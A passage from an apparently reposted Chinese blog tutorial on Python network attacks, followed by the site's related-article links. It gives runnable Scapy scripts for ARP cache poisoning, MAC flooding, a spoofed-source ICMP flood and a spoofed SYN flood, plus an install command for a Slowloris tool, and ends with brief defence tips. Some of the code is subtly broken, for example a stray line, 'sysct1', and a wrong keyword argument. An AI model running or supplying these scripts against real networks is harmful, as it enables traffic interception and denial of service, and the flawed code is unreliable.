            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"完成进度:%s/%s \r"</span> <span class="token operator">%</span><span class="token punctuation">(</span>num<span class="token punctuation">,</span><span class="token builtin">len</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
            sys<span class="token punctuation">.</span>stdout<span class="token punctuation">.</span>flush<span class="token punctuation">(</span><span class="token punctuation">)</span>
            res <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url <span class="token operator">=</span> url<span class="token punctuation">,</span>headers <span class="token operator">=</span> headers<span class="token punctuation">)</span>
            <span class="token keyword">if</span> <span class="token string">"攻击请求"</span> <span class="token keyword">not</span> <span class="token keyword">in</span> res<span class="token punctuation">.</span>text<span class="token punctuation">:</span>
                <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[0;33m[*]Find BypassWAF Payload:\033[0m"</span><span class="token operator">+</span>url<span class="token punctuation">)</span>               

</code></pre> 
  <p></p> 
  <p><br> <a href="http://img.e-com-net.com/image/info8/61ad6e286257429f963a7b5f008258fd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/61ad6e286257429f963a7b5f008258fd.jpg" alt="Python安全攻防-从入门到入狱_第37张图片" width="650" height="415" style="border:1px solid black;"></a></p> 
  <h2>九、Scapy进劫</h2> 
  <h3>ARP毒化</h3> 
  <blockquote> 
   <p><strong>ARP(地址解析协议)<strong>是</strong>数据链路层</strong>的协议,主要负责根据网络层地址(ip)来获取数据链路层地址(MAC)。</p> 
   <p><strong>ARP毒化</strong>虽然是一种比较老的渗透测试技术,但是在信息搜集方面能发挥出很不错的效果.通过ARP毒化技术分析并提取内网流量中的敏感信息,往往会有许多意外的"收获"。</p> 
  </blockquote> 
  <p><code>以太网协议规定,同—局域网中的一台要和另一台进行直接通信,必须知道目标主机的MAC地址。而在TCP/IP中,网络层只关注目标主机的IP地址,这就导致在以太网中使用IP协议时,数据链路层的以太网协议接收到网络层的IP协议提供的数据中,只包含目的主机的IP地址,于是需要ARP来完成IP地址到MAC地址的转换。</code></p> 
  <p><code>ARP是建立在网络中各个主机互相信任的基础上的,主机接收到ARP应答报文时不会检测该报文的真实性,而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项,则会对其进行更新。由此,攻击者可以向受害主机发送伪ARP应答包,毒化受害主机的ARP缓存表。</code></p> 
  <p><code>kali的IP地址:192.168.12.128 MAC地址为:00:0c:29:c5:a5:bb</code><br> <code>目标网关的IP地址:192.168.12.2 MAC地址为:00:50:56:e6:e8:7d</code></p> 
  <p><code>毒化前</code><br> <a href="http://img.e-com-net.com/image/info8/762a00ca562f47f98ec02e87b75667fc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/762a00ca562f47f98ec02e87b75667fc.jpg" alt="Python安全攻防-从入门到入狱_第38张图片" width="650" height="165" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/44a5248242704f77ac82a8546a7df534.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/44a5248242704f77ac82a8546a7df534.png" alt="Python安全攻防-从入门到入狱_第39张图片" width="588" height="274" style="border:1px solid black;"></a></p> 
  <pre><code class="prism language-python"><span class="token comment"># ARP毒化脚本</span>
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>
<span class="token keyword">import</span> re 
<span class="token keyword">import</span> time
<span class="token keyword">import</span> sys
<span class="token keyword">import</span> os
<span class="token keyword">import</span> optparse

<span class="token comment"># 编写ARP毒化函数,对目标主机以及网关不断发送ARP应答包来不断毒化</span>
<span class="token keyword">def</span> <span class="token function">poison</span><span class="token punctuation">(</span>targetIP<span class="token punctuation">,</span>gatewayIP<span class="token punctuation">,</span>ifname<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token comment"># 毒化主机的MAC地址</span>
    targetMAC <span class="token operator">=</span> <span class="token string">"00:0c:29:c5:a5:bb"</span>
    <span class="token comment"># 网关的MAC地址</span>
    gatewayMAC <span class="token operator">=</span> <span class="token string">"00:50:56:e6:e8:7d"</span>
    <span class="token keyword">if</span> targetMAC <span class="token keyword">and</span> gatewayMAC<span class="token punctuation">:</span>
        <span class="token comment"># 用while持续毒化</span>
        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
            <span class="token comment"># 对目标主机进行毒化</span>

            sendp<span class="token punctuation">(</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>lmac<span class="token punctuation">,</span>dst<span class="token operator">=</span>targetMAC<span class="token punctuation">)</span><span class="token operator">/</span>ARP<span class="token punctuation">(</span>hwsrc<span class="token operator">=</span>lmac<span class="token punctuation">,</span>hwdst<span class="token operator">=</span>targetMAC<span class="token punctuation">,</span>psrc<span class="token operator">=</span>gatewayIP<span class="token punctuation">,</span>pdst<span class="token operator">=</span>targetIP<span class="token punctuation">,</span>op<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span>iface<span class="token operator">=</span>ifname<span class="token punctuation">,</span>verbose<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>
            
            <span class="token comment">#对网关进行毒化</span>
            sendp<span class="token punctuation">(</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>lmac<span class="token punctuation">,</span>dst<span class="token operator">=</span>gatewayMAC<span class="token punctuation">)</span><span class="token operator">/</span>ARP<span class="token punctuation">(</span>hwsrc<span class="token operator">=</span>lmac<span class="token punctuation">,</span>hwdst<span class="token operator">=</span>gatewayMAC<span class="token punctuation">,</span>psrc<span class="token operator">=</span>targetIP<span class="token punctuation">,</span>pdst<span class="token operator">=</span>gatewayIP<span class="token punctuation">,</span>op<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span>iface<span class="token operator">=</span>ifname<span class="token punctuation">,</span>verbose<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">)</span>

            time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>
    
    <span class="token keyword">else</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"目标主机/网关主机IP有误,请检查!"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>

<span class="token comment"># 编写main函数,添加相关参数以及开启系统路由转发功能</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span> optparse<span class="token punctuation">.</span>OptionParser<span class="token punctuation">(</span><span class="token string">'usage:python %prog -r targetIP -g gatewayIP -i iface \n\n'</span><span class="token punctuation">)</span>
    
    <span class="token comment"># 添加目标主机参数 -r</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-r'</span><span class="token punctuation">,</span><span class="token string">'--rhost'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'rhost'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'192.168.12.1'</span><span class="token punctuation">,</span><span class="token builtin">type</span> <span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span> <span class="token operator">=</span><span class="token string">'target host'</span><span class="token punctuation">)</span>

    <span class="token comment"># 添加网关参数 -g</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-g'</span><span class="token punctuation">,</span><span class="token string">'--gateway'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'gateway'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'192.168.1.254'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'target gateway'</span><span class="token punctuation">)</span>

    <span class="token comment"># 添加网卡参数 -i</span>
    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span><span class="token string">'--iface'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'iface'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'eth0'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'interfaces name'</span><span class="token punctuation">)</span>

    <span class="token punctuation">(</span>options<span class="token punctuation">,</span>args<span class="token punctuation">)</span> <span class="token operator">=</span> parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    lmac <span class="token operator">=</span> get_if_hwaddr<span class="token punctuation">(</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    lip <span class="token operator">=</span> get_if_addr<span class="token punctuation">(</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===开始进行ARP毒化==="</span><span class="token punctuation">)</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        poison<span class="token punctuation">(</span>options<span class="token punctuation">.</span>rhost<span class="token punctuation">,</span>options<span class="token punctuation">.</span>gateway<span class="token punctuation">,</span>options<span class="token punctuation">.</span>iface<span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===停止ARP毒化"</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"===停止路由转发功能==="</span><span class="token punctuation">)</span>
        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">"echo 1 >> /proc/sys/net/ipv4/ip_forward"</span><span class="token punctuation">)</span>
        os<span class="token punctuation">.</span>system<span class="token punctuation">(</span><span class="token string">"sysct1 net.ipv4.ip_forward"</span><span class="token punctuation">)</span>
</code></pre> 
  <p><code>毒化后</code><br> <a href="http://img.e-com-net.com/image/info8/b09d3838918c449d80bdf11bb4b310a7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b09d3838918c449d80bdf11bb4b310a7.jpg" alt="Python安全攻防-从入门到入狱_第40张图片" width="602" height="101" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/b840b80ea9984fa4b311fe04ce27c9f4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b840b80ea9984fa4b311fe04ce27c9f4.jpg" alt="Python安全攻防-从入门到入狱_第41张图片" width="650" height="230" style="border:1px solid black;"></a></p> 
  <h3>Dos</h3> 
  <blockquote> 
   <p><font size="5" face="黑体" color="#0099ff">拒绝服务攻击</font>(DenialofServjce,DoS)使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之—。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。<br> <strong>带宽攻击</strong>是指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。<br> <strong>连通性攻击</strong>指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终导致计算机无法再处理合法的用户请求。</p> 
  </blockquote> 
  <p><font face="STCAIYUN">常用的拒绝服务攻击手段包括:</font><br> <font size="3" color="#d50000">同步洪流</font>、<font size="3" color="#f50057">WinNuke</font>、<font size="3" color="#d500f9">死亡之PING</font>、<font size="3" color="#651fff">Echl攻击</font>、<font size="3" color="#3d5afe">ICMP/SMURF</font>、<font size="3" color="#448aff">Finger炸弹</font>、<font size="3" color="#40c4ff">Land攻击</font>、<font size="3" color="#84ffff">Ping洪流</font>、<font size="3" color="#64ffda">Rwhod</font>、<font size="3" color="#b9f6ca">tearDrop</font>、<font size="3" color="#ccff90">TARGA3</font>、<font size="3" color="#f4ff81">UDP攻击</font>、<font size="3" color="#ffe57f">OOB</font>等。实际上拒绝服务攻击并不是一个攻击方式,而是指一类具有相似特征的攻击方式。黑客可能会利用TCP/IP协议层中的<strong>数据链路层</strong>、<strong>网络层</strong>、<strong>传输层</strong>和<strong>应用层各种协议</strong>漏洞发起拒绝服务攻击。</p> 
  <h4>数据链路层Dos-MAC泛洪攻击</h4> 
  <blockquote> 
   <p>数据链路层的拒绝服务攻击其实就是通过伪造请求主机的MAC地址信息,使得交换机内部CAM短时间填满,失去交换机本身的记忆功能,退化成集线器,当接收到正常数据包时,会将全部数据以广播的形式发送出去。此时若攻击者将自己的主机设置为混杂模式,就可以监听网络中的其他主机接收的数据了。</p> 
  </blockquote> 
  <p><code>当路由器接收到包含随机生成的IP地址和MAC地址的数据包时,交换机查询CAM,若不存在该信息,就会不断进行记录。短时间内’大量请求会导致CAM被填满,失去交换机原有的功能。</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>
<span class="token keyword">import</span> optparse

<span class="token keyword">def</span> <span class="token function">attack</span><span class="token punctuation">(</span>interface<span class="token punctuation">)</span><span class="token punctuation">:</span>
    pkt <span class="token operator">=</span>Ether<span class="token punctuation">(</span>src<span class="token operator">=</span>RandMAC<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>dst<span class="token operator">=</span>RandMAC<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>RandIP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>dst<span class="token operator">=</span>RandIP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span>ICMP<span class="token punctuation">(</span><span class="token punctuation">)</span>
    sendp<span class="token punctuation">(</span>pkt<span class="token punctuation">,</span>iface<span class="token operator">=</span>interface<span class="token punctuation">)</span>

<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
    parser <span class="token operator">=</span>optparse<span class="token punctuation">.</span>OptionParser<span class="token punctuation">(</span><span class="token string">"%prog "</span><span class="token operator">+</span><span class="token string">"-i interface"</span><span class="token punctuation">)</span>

    parser<span class="token punctuation">.</span>add_option<span class="token punctuation">(</span><span class="token string">'-i'</span><span class="token punctuation">,</span>dest<span class="token operator">=</span><span class="token string">'interface'</span><span class="token punctuation">,</span>default<span class="token operator">=</span><span class="token string">'eth0'</span><span class="token punctuation">,</span><span class="token builtin">type</span><span class="token operator">=</span><span class="token string">'string'</span><span class="token punctuation">,</span><span class="token builtin">help</span><span class="token operator">=</span><span class="token string">'Interface'</span><span class="token punctuation">)</span>
    <span class="token punctuation">(</span>options<span class="token punctuation">,</span>args<span class="token punctuation">)</span><span class="token operator">=</span>parser<span class="token punctuation">.</span>parse_args<span class="token punctuation">(</span><span class="token punctuation">)</span>
    interface <span class="token operator">=</span> options<span class="token punctuation">.</span>interface
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
            attack<span class="token punctuation">(</span>interface<span class="token punctuation">)</span>
    
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'--------------------'</span><span class="token punctuation">)</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'Finished!'</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span><span class="token string">'__main__'</span><span class="token punctuation">:</span>
    main<span class="token punctuation">(</span><span class="token punctuation">)</span>

</code></pre> 
  <p><code>wireshark</code><br> <a href="http://img.e-com-net.com/image/info8/66026c3cabd14e5f81a0ba94d06c7945.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/66026c3cabd14e5f81a0ba94d06c7945.jpg" alt="Python安全攻防-从入门到入狱_第42张图片" width="650" height="264" style="border:1px solid black;"></a></p> 
  <h4>网络层Dos-死亡之Ping</h4> 
  <p><code>控制多个僵尸主机一同向目标主机发送数据时,会出现"死亡之ping",使目标主机岩机.</code></p> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> sys
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>

<span class="token keyword">def</span> <span class="token function">start</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">)</span><span class="token operator"><</span><span class="token number">2</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token string">" <target_ip>"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>
    psrc <span class="token operator">=</span> <span class="token string">"6.6.6.6"</span>
    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
        pdst <span class="token operator">=</span> sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>
        send<span class="token punctuation">(</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>psrc<span class="token punctuation">,</span>dst<span class="token operator">=</span>pdst<span class="token punctuation">)</span><span class="token operator">/</span>ICMP<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
s
<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    <span class="token comment"># 定义异常</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        start<span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"interrupted by user,killing all threads...."</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/b566bac800774d0a8ec77829968664c2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b566bac800774d0a8ec77829968664c2.jpg" alt="Python安全攻防-从入门到入狱_第43张图片" width="650" height="403" style="border:1px solid black;"></a></p> 
  <h4>传输层Dos-SYN拒绝服务攻击</h4> 
  <blockquote> 
   <p>1️⃣攻击者向目标计算机发送一个TCP SYN报文。<br> 2️⃣目标计算机收到这个报文后,建立TCP连接控制结构,并回应一个ACK,等待发起者的回应。<br> 3️⃣发起者则不向目标计算机回应ACK报文,这样导致目标计算机一直处于等待状态。</p> 
  </blockquote> 
  <pre><code class="prism language-python"><span class="token keyword">import</span> sys
<span class="token keyword">from</span> scapy<span class="token punctuation">.</span><span class="token builtin">all</span> <span class="token keyword">import</span> <span class="token operator">*</span>

<span class="token keyword">def</span> <span class="token function">start</span><span class="token punctuation">(</span>argv<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">)</span><span class="token operator"><</span><span class="token number">2</span><span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span><span class="token string">" <target_ip"</span><span class="token punctuation">)</span>
        sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>
    psrc <span class="token operator">=</span> <span class="token string">'6.6.6.6'</span>
    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>
        pdst <span class="token operator">=</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>
        send<span class="token punctuation">(</span>IP<span class="token punctuation">(</span>src<span class="token operator">=</span>psrc<span class="token punctuation">,</span>dst<span class="token operator">=</span>pdst<span class="token punctuation">)</span><span class="token operator">/</span>TCP<span class="token punctuation">(</span>dport<span class="token operator">=</span><span class="token number">443</span><span class="token punctuation">,</span>flag<span class="token operator">=</span><span class="token string">'S'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>

<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>
    <span class="token comment"># 定义异常</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        start<span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"interrupted by user, killing all threads......"</span><span class="token punctuation">)</span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/a4a4d341240543eabbcc1e6dd47290bc.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/a4a4d341240543eabbcc1e6dd47290bc.jpg" alt="Python安全攻防-从入门到入狱_第44张图片" width="650" height="402" style="border:1px solid black;"></a></p> 
  <h4>应用层Dos-Slowloris攻击</h4> 
  <blockquote> 
   <p>位于<strong>应用层</strong>的协议有很多,常见的包括HTTP、FTP、DNS、DHCP等。<br> 其中<strong>应用层</strong>中的每一个协议都有可能被用来发起拒绝服务攻击。不同于其他层,应用层拒绝服务攻击已经完成了TCP的三次握手,建立起了连接,所以发起攻击的IP地址都是真实的。常见的应用层拒绝服务攻击有CC(ChallengeCollapasar)攻击、Slowloris攻击、ServerLimitDOS等。</p> 
  </blockquote> 
  <p><strong>Slowloris攻击</strong><br> <code>以极低的速度向服务器发送HTTP请求。由于WebServer对于并发的连接数都有一定的上限,因此若恶意地占用这些连接不释放,那么WebServe的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。</code></p> 
  <p><code>pip install slowloris</code> <strong>安装</strong><br> </p> 
  <h4>防御策略</h4> 
  <p>1️⃣关闭不需要的服务和端口,实现服务最小化,让服务器提供专门服务。<br> 2️⃣安装查杀病毒的软硬件产品,及时更新病毒库。尽量避免因为软件漏洞而引起的拒绝服务,定期扫描现有的主机和网络节点,对安全漏洞和不规范的安全配置进行及时整改,对先前的漏洞及时打补丁。<br> 3️⃣经常检测网络和主机的脆弱性,查看网上漏洞数据库,以减少或避免主机成为肉鸡的可能性。<br> 4️⃣建立多节点的负载均衡,配备高于业务需求的带宽,建立多个网络出口,提高服务器的运算能力。</p> 
  <h2>十、完结</h2> 
  <blockquote> 
   <p>来来回回写了两星期⏰了,边学️边写✍️,归,收获很多。<br> <code>明天大年初一,给CSDN的大佬们拜个年</code><br> <strong>本人一名小小的网络安全爱好者,如若文章有错误和不妥之处,敬请大佬们请教指正</strong>。</p> 
  </blockquote> 
 </div> 
</div>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1498531081861791744"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(Python安全攻防,python,安全,网络)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835511912192897024.htm"
                           title="微服务下功能权限与数据权限的设计与实现" target="_blank">微服务下功能权限与数据权限的设计与实现</a>
                        <span class="text-muted">nbsaas-boot</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E6%9C%8D%E5%8A%A1/1.htm">微服务</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                        <div>在微服务架构下,系统的功能权限和数据权限控制显得尤为重要。随着系统规模的扩大和微服务数量的增加,如何保证不同用户和服务之间的访问权限准确、细粒度地控制,成为设计安全策略的关键。本文将讨论如何在微服务体系中设计和实现功能权限与数据权限控制。1.功能权限与数据权限的定义功能权限:指用户或系统角色对特定功能的访问权限。通常是某个用户角色能否执行某个操作,比如查看订单、创建订单、修改用户资料等。数据权限:</div>
                    </li>
                    <li><a href="/article/1835511912843014144.htm"
                           title="理解Gunicorn:Python WSGI服务器的基石" target="_blank">理解Gunicorn:Python WSGI服务器的基石</a>
                        <span class="text-muted">范范0825</span>
<a class="tag" taget="_blank" href="/search/ipython/1.htm">ipython</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>理解Gunicorn:PythonWSGI服务器的基石介绍Gunicorn,全称GreenUnicorn,是一个为PythonWSGI(WebServerGatewayInterface)应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具,Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置,帮助初学者快速上手。1.什么是Gunico</div>
                    </li>
                    <li><a href="/article/1835511030260789248.htm"
                           title="c++ 的iostream 和 c++的stdio的区别和联系" target="_blank">c++ 的iostream 和 c++的stdio的区别和联系</a>
                        <span class="text-muted">黄卷青灯77</span>
<a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/iostream/1.htm">iostream</a><a class="tag" taget="_blank" href="/search/stdio/1.htm">stdio</a>
                        <div>在C++中,iostream和C语言的stdio.h都是用于处理输入输出的库,但它们在设计、用法和功能上有许多不同。以下是两者的区别和联系:区别1.编程风格iostream(C++风格):C++标准库中的输入输出流类库,支持面向对象的输入输出操作。典型用法是cin(输入)和cout(输出),使用>操作符来处理数据。更加类型安全,支持用户自定义类型的输入输出。#includeintmain(){in</div>
                    </li>
                    <li><a href="/article/1835509897106649088.htm"
                           title="Long类型前后端数据不一致" target="_blank">Long类型前后端数据不一致</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题,尤其是当后端使用Java的Long类型(64位)与前端JavaScript的Number类型(最大安全整数为2^53-1,即16位)进行数据交互时,很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问</div>
                    </li>
                    <li><a href="/article/1835506869838376960.htm"
                           title="Python数据分析与可视化实战指南" target="_blank">Python数据分析与可视化实战指南</a>
                        <span class="text-muted">William数据分析</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE/1.htm">数据</a>
                        <div>在数据驱动的时代,Python因其简洁的语法、强大的库生态系统以及活跃的社区,成为了数据分析与可视化的首选语言。本文将通过一个详细的案例,带领大家学习如何使用Python进行数据分析,并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前,我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学</div>
                    </li>
                    <li><a href="/article/1835505858939809792.htm"
                           title="python os.environ" target="_blank">python os.environ</a>
                        <span class="text-muted">江湖偌大</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a>
                        <div>os.environ['TF_CPP_MIN_LOG_LEVEL']='0'#默认值,输出所有信息os.environ['TF_CPP_MIN_LOG_LEVEL']='1'#屏蔽通知信息(INFO)os.environ['TF_CPP_MIN_LOG_LEVEL']='2'#屏蔽通知信息和警告信息(INFO\WARNING)os.environ['TF_CPP_MIN_LOG_LEVEL']='</div>
                    </li>
                    <li><a href="/article/1835505606245576704.htm"
                           title="Python中os.environ基本介绍及使用方法" target="_blank">Python中os.environ基本介绍及使用方法</a>
